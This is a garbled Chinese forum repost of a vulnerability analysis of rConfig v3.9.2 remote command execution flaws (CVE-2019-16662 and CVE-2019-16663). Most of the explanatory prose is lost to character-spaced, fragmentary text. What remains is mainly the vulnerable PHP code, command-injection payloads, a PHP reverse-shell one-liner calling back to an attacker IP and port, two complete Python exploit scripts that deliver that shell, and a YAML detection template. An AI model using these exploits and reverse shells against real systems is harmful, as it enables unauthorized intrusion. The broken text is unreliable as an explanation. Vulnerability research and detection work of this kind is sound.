[14968] 2020-02-03_CVE-2019-16662&16663:rConfigv3.9.2远程命令执行漏洞分析

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2020-02-03_CVE-2019-16662&16663:rConfigv3.9.2远程命令执行漏洞分析 C V E - 2 0 1 9 - 1 6 6 6 2 & 1 6 6 6 3 r C o n f i g   v 3 . 9 . 2 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 2 - 0 3 r C o n f i g r C o n f i g r C o n f i g r C o n f i g a j a x S e r v e r S e t t i n g s C h k . p h p r o o t U n a m e 2 1 3 e x e c r o o t U n a m e G E T R C E s e a r c h . c r u d . p h p G E T s e a r c h T e r m 6 3 e x e c R C E P y t h o n 使 R C E S c a n n e r h t t p s : / / g i t h u b . c o m / m h a s k a r / R C E S c a n n e r # 1 a j a x S e r v e r S e t t i n g s C h k . p h p i n s t a l l / l i b / a j a x H a n d l e r s / a j a x S e r v e r S e t t i n g s C h k . p h p G E T r o o t U n a m e $ r o o t U n a m e $ r o o t U n a m e $ r o o t T e s t C m d 1 e x e c 使 P a y l o a d P a y l o a d e x e c ( ) P a y l o a d < ? p h p         $ r o o t U n a m e   =   $ _ G E T [ ' r o o t U n a m e ' ] ;         / /   l i n e   2         $ a r r a y   =   a r r a y ( ) ;         / *   c h e c k   P H P   S a f e _ M o d e   i s   o f f   * /         i f   ( i n i _ g e t ( ' s a f e _ m o d e ' ) )   {                 $ a r r a y [ ' p h p S a f e M o d e ' ]   =   ' & a m p ; l t ; s t r o n g & a m p ; g t ; & a m p ; l t ; f o n t   c l a s s = & a m p ; q u o t ; b a d & a m p ; q u o t ; & a m p ; g t ; F a i l   -   p h p   s a f e   m o d e   i s   o n   -   t u r n   i t   o f f   b e f o r e   y o u   p r o c e e d   w i t h   t h e   i n s t a l l a t i o n & a m p ; l t ; / s t r o n g & a m p ; g t ; & a m p ; l t ; / f o n t & a m p ; g t ; b r / & a m p ; g t ; '         }   e l s e   {                 $ a r r a y [ ' p h p S a f e M o d e ' ]   =   ' & a m p ; l t ; s t r o n g & a m p ; g t ; & a m p ; l t ; f o n t   c l a s s = & a m p ; q u o t ; G o o d & a m p ; q u o t ; & a m p ; g t ; P a s s   -   p h p   s a f e   m o d e   i s   o f f & a m p ; l t ; / s t r o n g & a m p ; g t ; & a m p ; l t ; / f o n t & a m p ; g t ; & a m p ; l t ; b r / & a m p ; g t ; '         }         / *   T e s t   r o o t   a c c o u n t   d e t a i l s   * /         $ r o o t T e s t C m d 1   =   ' s u d o   - S   - u   '   .   $ r o o t U n a m e   .   '   c h m o d   0 7 7 7   / h o m e   2 & a m p ; g t ; & a m p ; a m p ; 1 ' ;         / /   l i n e   1 2         e x e c ( $ r o o t T e s t C m d 1 ,   $ c m d O u t p u t ,   $ e r r ) ;         / /   l i n e   1 3         $ h o m e D i r P e r m s   =   s u b s t r ( s p r i n t f ( ' % o ' ,   f i l e p e r m s ( ' / h o m e ' ) ) ,   - 4 ) ;         i f   ( $ h o m e D i r P e r m s   = =   ' 0 7 7 7 ' )   {                 $ a r r a y [ ' r o o t D e t a i l s ' ]   =   ' & a m p ; l t ; s t r o n g & a m p ; g t ; & a m p ; l t ; f o n t   c l a s s = & a m p ; q u o t ; G o o d & a m p ; q u o t ; & a m p ; g t ; P a s s   -   r o o t   a c c o u n t   d e t a i l s   a r e   g o o d   & a m p ; l t ; / s t r o n g & a m p ; g t ; & a m p ; l t ; / f o n t & a m p ; g t ; & a m p ; l t ; b r / & a m p ; g t ; '         }   e l s e   {                 $ a r r a y [ ' r o o t D e t a i l s ' ]   =   ' & a m p ; l t ; s t r o n g & a m p ; g t ; & a m p ; l t ; f o n t   c l a s s = & a m p ; q u o t ; b a d & a m p ; q u o t ; & a m p ; g t ; T h e   r o o t   d e t a i l s   p r o v i d e d   h a v e   n o t   p a s s e d :   '   .   $ c m d O u t p u t [ 0 ]   .   ' & a m p ; l t ; / s t r o n g & a m p ; g t ; & a m p ; l t ; / f o n t & a m p ; g t ; & a m p ; l t ; b r / & a m p ; g t ; '         }         / /   r e s e t   / h o m e   d i r   p e r m i s s i o n s         $ r o o t T e s t C m d 2   =   ' s u d o   - S   - u   '   .   $ r o o t U n a m e   .   '   c h m o d   0 7 5 5   / h o m e   2 & a m p ; g t ; & a m p ; a m p ; 1 ' ;         / /   l i n e   2 1         e x e c ( $ r o o t T e s t C m d 2 ,   $ c m d O u t p u t ,   $ e r r ) ;         / /   l i n e   2 2         e c h o   j s o n _ e n c o d e ( $ a r r a y ) ; ;   y o u r   c o m m a n d   #
  r o o t U n a m e ;   i d   # S h e l l 使 P a y l o a d 使 p a y l o a d 使 n c C e n t O S   7 . 7   m i n i p a y l o a d 使 B u r p S h e l l P y t h o n ; p h p   - r   ' $ s o c k = f s o c k o p e n ( " i p " , p o r t ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; # ! / u s r / b i n / p y t h o n         #   E x p l o i t   T i t l e :   r C o n f i g   v 3 . 9 . 2   u n a u t h e n t i c a t e d   R e m o t e   C o d e   E x e c u t i o n         #   D a t e :   1 8 / 0 9 / 2 0 1 9         #   E x p l o i t   A u t h o r :   A s k a r   ( @ m o h a m m a d a s k a r 2 )         #   C V E   :   C V E - 2 0 1 9 - 1 6 6 6 2         #   V e n d o r   H o m e p a g e :   h t t p s : / / r c o n f i g . c o m /         #   S o f t w a r e   l i n k :   h t t p s : / / r c o n f i g . c o m / d o w n l o a d         #   V e r s i o n :   v 3 . 9 . 2         #   T e s t e d   o n :   C e n t O S   7 . 7   /   P H P   7 . 2 . 2 2         i m p o r t   r e q u e s t s         i m p o r t   s y s         f r o m   u r l l i b   i m p o r t   q u o t e         f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g         r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )         i f   l e n ( s y s . a r g v )   ! =   4 :                 p r i n t   " [ + ]   U s a g e   :   . / e x p l o i t . p y   t a r g e t   i p   p o r t "                 e x i t ( )         t a r g e t   =   s y s . a r g v [ 1 ]         i p   =   s y s . a r g v [ 2 ]         p o r t   =   s y s . a r g v [ 3 ]         p a y l o a d   =   q u o t e ( ' ' ' ; p h p   - r   ' $ s o c k = f s o c k o p e n ( " { 0 } " , { 1 } ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' # ' ' ' . f o r m a t ( i p ,   p o r t ) )         i n s t a l l _ p a t h   =   t a r g e t   +   " / i n s t a l l "         r e q   =   r e q u e s t s . g e t ( i n s t a l l _ p a t h ,   v e r i f y = F a l s e )         i f   r e q . s t a t u s _ c o d e   = =   4 0 4 :                 p r i n t   " [ - ]   I n s t a l l a t i o n   d i r e c t o r y   n o t   f o u n d ! "                 p r i n t   " [ - ]   E x p l o i t a t i o n   f a i l e d   ! "                 e x i t ( )         e l i f   r e q . s t a t u s _ c o d e   = =   2 0 0 :                 p r i n t   " [ + ]   I n s t a l l a t i o n   d i r e c t o r y   f o u n d ! "         u r l _ t o _ s e n d   =   t a r g e t   +   " / i n s t a l l / l i b / a j a x H a n d l e r s / a j a x S e r v e r S e t t i n g s C h k . p h p ? r o o t U n a m e = "   +   p a y l o a d         p r i n t   " [ + ]   T r i g g e r i n g   t h e   p a y l o a d "         p r i n t   " [ + ]   C h e c k   y o u r   l i s t e n e r   ! "         r e q u e s t s . g e t ( u r l _ t o _ s e n d ,   v e r i f y = F a l s e )
s h e l l # 2 R C E S c a n n e r l i b / c r u d / s e a r c h . c r u d . p h p s e a r c h T e r m G E T 2 5 i f c a t C o m m a n d G E T P a y l o a d 6 1 $ c o m m a n d 便 6 3 e x e c ( ) s l e e p ( ) P a y l o a d 5 P a y l o a d 使 B u r p i f   ( i s s e t ( $ _ G E T [ ' s e a r c h T e r m ' ] )   & &   i s _ s t r i n g ( $ _ G E T [ ' s e a r c h T e r m ' ] )   & &   ! e m p t y ( $ _ G E T [ ' s e a r c h T e r m ' ] ) )   {         / /   l i n e   2 5                 / *   v a l i d a t i o n   * /                 $ s e a r c h T e r m   =   ' " '   .   $ _ G E T [ ' s e a r c h T e r m ' ]   .   ' " ' ;         / /   l i n e   2 7                 $ c a t I d   =   $ _ G E T [ ' c a t I d ' ] ;                 $ c a t C o m m a n d   =   $ _ G E T [ ' c a t C o m m a n d ' ] ;         / /   l i n e   2 9                 $ n o d e I d   =   $ _ G E T [ ' n o d e I d ' ] ;         / /   l i n e   3 0                 $ g r e p N u m L i n e S t r   =   $ _ G E T [ ' n u m L i n e s S t r ' ] ;                 $ g r e p N u m L i n e   =   $ _ G E T [ ' n o L i n e s ' ] ;                 $ u s e r n a m e   =   $ _ S E S S I O N [ ' u s e r n a m e ' ] ;                 / /   i f   n o d e I d   w a s   e m p t y   s e t   i t   t o   b l a n k                 i f   ( e m p t y ( $ n o d e I d ) )   {                         $ n o d e I d   =   ' ' ;                 }   e l s e   {                         $ n o d e I d   =   ' / '   .   $ n o d e I d   .   ' / ' ;                 }                 $ r e t u r n A r r   =   a r r a y ( ) ;                 / /   G e t   t h e   c a t e g o r y   N a m e   f r o m   t h e   C a t e g o r y   s e l e c t e d                         $ d b 2 - > q u e r y ( " S E L E C T   c a t e g o r y N a m e   f r o m   ` c a t e g o r i e s `   W H E R E   i d   =   : c a t I d " ) ;                 $ d b 2 - > b i n d ( ' : c a t I d ' ,   $ c a t I d ) ;                 $ r e s u l t C a t   =   $ d b 2 - > r e s u l t s e t ( ) ;                 $ r e t u r n A r r [ ' c a t e g o r y ' ]   =   $ r e s u l t C a t [ 0 ] [ ' c a t e g o r y N a m e ' ] ;                 / /   g e t   t o t a l   f i l e   c o u n t                 $ f i l e C o u n t   =   a r r a y ( ) ;                 $ s u b D i r   =   " " ;                 i f   ( ! e m p t y ( $ r e t u r n A r r [ ' c a t e g o r y ' ] ) )   {                         $ s u b D i r   =   " / "   .   $ r e t u r n A r r [ ' c a t e g o r y ' ] ;                 }                 e x e c ( " f i n d   / h o m e / r c o n f i g / d a t a "   .   $ s u b D i r   .   $ n o d e I d   .   "   - m a x d e p t h   1 0   - t y p e   f   |   w c   - l " ,   $ f i l e C o u n t A r r ) ;         / /   l i n e   5 7                 $ r e t u r n A r r [ ' f i l e C o u n t ' ]   =   $ f i l e C o u n t A r r [ ' 0 ' ] ;                 / / n e x t   f i n d   a l l   i n s t a n c e s   o f   t h e   s e a r c h   t e r m   u n d e r   t h e   s p e c i f i c   c a t / d i r                   $ c o m m a n d   =   ' f i n d   / h o m e / r c o n f i g / d a t a '   .   $ s u b D i r   .   $ n o d e I d   .   '   - n a m e   '   .   $ c a t C o m m a n d   .   '   |   x a r g s   g r e p   - i l   '   .   $ g r e p N u m L i n e S t r   .   '   '   .   $ s e a r c h T e r m   .   '   |   w h i l e   r e a d   f i l e   ;   d o   e c h o   F i l e : " $ f i l e " ;   g r e p   '                 / /   e c h o   $ c o m m a n d ; d i e ( ) ;         e x e c ( $ c o m m a n d ,   $ s e a r c h A r r ) ;         / /   l i n e   6 3 " " & & $ ( ` s l e e p   5 ` ) #
s l e e p S h e l l 使 P H P P y t h o n " " & & p h p   - r   ' $ s o c k = f s o c k o p e n ( " 1 9 2 . 1 6 8 . 1 7 8 . 1 " , 1 3 3 7 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' # # ! / u s r / b i n / p y t h o n         #   E x p l o i t   T i t l e :   r C o n f i g   v 3 . 9 . 2   A u t h e n t i c a t e d   R e m o t e   C o d e   E x e c u t i o n         #   D a t e :   1 8 / 0 9 / 2 0 1 9         #   E x p l o i t   A u t h o r :   A s k a r   ( @ m o h a m m a d a s k a r 2 )         #   C V E   :   C V E - 2 0 1 9 - 1 6 6 6 3         #   V e n d o r   H o m e p a g e :   h t t p s : / / r c o n f i g . c o m /         #   S o f t w a r e   l i n k :   h t t p s : / / r c o n f i g . c o m / d o w n l o a d         #   V e r s i o n :   v 3 . 9 . 2         #   T e s t e d   o n :   C e n t O S   7 . 7   /   P H P   7 . 2 . 2 2         i m p o r t   r e q u e s t s         i m p o r t   s y s         f r o m   u r l l i b   i m p o r t   q u o t e         f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g         r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )         i f   l e n ( s y s . a r g v )   ! =   6 :                 p r i n t   " [ + ]   U s a g e   :   . / e x p l o i t . p y   t a r g e t   u s e r n a m e   p a s s w o r d   i p   p o r t "                 e x i t ( )         t a r g e t   =   s y s . a r g v [ 1 ]         u s e r n a m e   =   s y s . a r g v [ 2 ]         p a s s w o r d   =   s y s . a r g v [ 3 ]         i p   =   s y s . a r g v [ 4 ]         p o r t   =   s y s . a r g v [ 5 ]         r e q u e s t   =   r e q u e s t s . s e s s i o n ( )         l o g i n _ i n f o   =   {                 " u s e r " :   u s e r n a m e ,                 " p a s s " :   p a s s w o r d ,                 " s u b l o g i n " :   1         }         l o g i n _ r e q u e s t   =   r e q u e s t . p o s t (                 t a r g e t + " / l i b / c r u d / u s e r p r o c e s s . p h p " ,                   l o g i n _ i n f o ,                   v e r i f y = F a l s e ,                   a l l o w _ r e d i r e c t s = T r u e           )         d a s h b o a r d _ r e q u e s t   =   r e q u e s t . g e t ( t a r g e t + " / d a s h b o a r d . p h p " ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   d a s h b o a r d _ r e q u e s t . s t a t u s _ c o d e   = =   2 0 0 :                 p r i n t   " [ + ]   L o g g e d I n   s u c c e s s f u l l y "                 p a y l o a d   =   ' ' ' " " & & p h p   - r   ' $ s o c k = f s o c k o p e n ( " { 0 } " , { 1 } ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' # ' ' ' . f o r m a t ( i p ,   p o r t )                 e n c o d e d _ r e q u e s t   =   t a r g e t + " / l i b / c r u d / s e a r c h . c r u d . p h p ? s e a r c h T e r m = a n y t h i n g & c a t C o m m a n d = { 0 } " . f o r m a t ( q u o t e ( p a y l o a d ) )                 p r i n t   " [ + ]   t r i g g e r i n g   t h e   p a y l o a d "                 p r i n t   " [ + ]   C h e c k   y o u r   l i s t e n e r   ! "                 e x p l o i t _ r e q   =   r e q u e s t . g e t ( e n c o d e d _ r e q u e s t )         e l i f   d a s h b o a r d _ r e q u e s t . s t a t u s _ c o d e   = =   3 0 2 :                 p r i n t   " [ - ]   W r o n g   c r e d e n t i a l s   ! "         e x i t ( )
S h e l l G i t h u b * s h e l l s F B A l p h a _ h 4 c k F r e e B u f . C O M n a m e :   p o c - y a m l - r c o n f i g - c v e - 2 0 1 9 - 1 6 6 6 3 s e t :     r :   r a n d o m I n t ( 8 0 0 0 0 0 0 0 0 ,   1 0 0 0 0 0 0 0 0 0 )     r 1 :   r a n d o m I n t ( 8 0 0 0 0 0 0 0 0 ,   1 0 0 0 0 0 0 0 0 0 ) r u l e s :     -   m e t h o d :   G E T         p a t h :   / i n s t a l l / l i b / a j a x H a n d l e r s / a j a x S e r v e r S e t t i n g s C h k . p h p ? r o o t U n a m e = % 3 B e x p r % 2 0 { { r } } % 2 0 % 2 B % 2 0 { { r 1 } } % 2 0 % 2 0 % 2 3         e x p r e s s i o n :   |             r e s p o n s e . s t a t u s   = =   2 0 0   & &   r e s p o n s e . b o d y . b c o n t a i n s ( b y t e s ( s t r i n g ( r   +   r 1 ) ) ) d e t a i l :     a u t h o r :   1 7 b d w     l i n k s :         -   h t t p s : / / g i t h u b . c o m / r c o n f i g / r c o n f i g / c o m m i t / 6 e a 9 2 a a 3 0 7 e 2 0 f 0 9 1 8 e b d 1 8 b e 9 8 1 1 e 9 3 0 4 8 d 5 0 7 1         -   h t t p s : / / w w w . c n b l o g s . c o m / 1 7 b d w / p / 1 1 8 4 0 5 8 8 . h t m l         -   h t t p s : / / s h e l l s . s y s t e m s / r c o n f i g - v 3 - 9 - 2 - a u t h e n t i c a t e d - a n d - u n a u t h e n t i c a t e d - r c e - c v e - 2 0 1 9 - 1 6 6 6 3 - a n d - c v e - 2 0 1 9 - 1 6 6 6 2 /

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则